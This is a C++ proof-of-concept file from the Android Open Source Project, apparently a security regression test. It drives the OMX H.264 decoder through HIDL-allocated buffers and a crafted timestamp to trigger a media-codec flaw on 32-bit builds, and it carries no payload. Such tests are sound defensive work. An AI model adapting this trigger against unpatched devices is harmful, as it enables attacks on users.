1 /*
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
5 * use this file except in compliance with the License. You may obtain a copy of
6 * the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
12 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
13 * License for the specific language governing permissions and limitations under
14 * the License.
15 */
16
17 #include <stdlib.h>
18
19 #include "../includes/common.h"
20
21 // This PoC is only for 32-bit builds
22 #if _32_BIT
23 #include "../includes/omxUtils.h"
24 #define TIMESTAMP_US 0x00010001
25
26 extern bool mUseTreble;
27 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
28
allocateHidlPortBuffers(OMX_U32 portIndex,Vector<Buffer> * buffers)29 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
30 buffers->clear();
31 OMX_PARAM_PORTDEFINITIONTYPE def;
32 int err = omxUtilsGetParameter(portIndex, &def);
33 omxExitOnError(err);
34
35 for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
36 Buffer buffer;
37 buffer.mFlags = 0;
38 bool success;
39 auto transStatus = mAllocator->allocate(def.nBufferSize,
40 [&success, &buffer](bool s, hidl_memory const &m) {
41 success = s;
42 buffer.mHidlMemory = m;
43 });
44 omxExitOnError(!transStatus.isOk());
45 omxExitOnError(!success);
46 omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
47 buffers->push(buffer);
48 }
49 return OK;
50 }
51 #endif /* _32_BIT */
52
main()53 int main() {
54 // This PoC is only for 32-bit builds
55 #if _32_BIT
56 int i;
57 Vector<Buffer> inputBuffers;
58 Vector<Buffer> outputBuffers;
59 status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
60
61 omxExitOnError(err);
62
63 OMX_PARAM_PORTDEFINITIONTYPE def;
64 omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
65
66 int inMemorySize = def.nBufferCountActual * def.nBufferSize;
67 int inBufferCount = def.nBufferCountActual;
68 sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
69 IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
70
71 omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
72
73 int outMemorySize = def.nBufferCountActual * def.nBufferSize;
74 int outBufferCnt = def.nBufferCountActual;
75 sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
76 IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
77
78 allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
79 for (i = 0; i < inBufferCount; ++i) {
80 inBufferId[i] = inputBuffers[i].mID;
81 }
82
83 allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
84 for (i = 0; i < outBufferCnt; ++i) {
85 outBufferId[i] = outputBuffers[i].mID;
86 }
87
88 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
89 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
90
91 OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
92 int64_t timeUs = TIMESTAMP_US;
93 omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
94 omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
95
96 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
97 omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
98
99 for (i = 0; i < inBufferCount; ++i) {
100 omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
101 }
102
103 for (i = 0; i < outBufferCnt; ++i) {
104 omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
105 }
106
107 omxUtilsFreeNode();
108 #endif /* _32_BIT */
109
110 return EXIT_SUCCESS;
111 }
112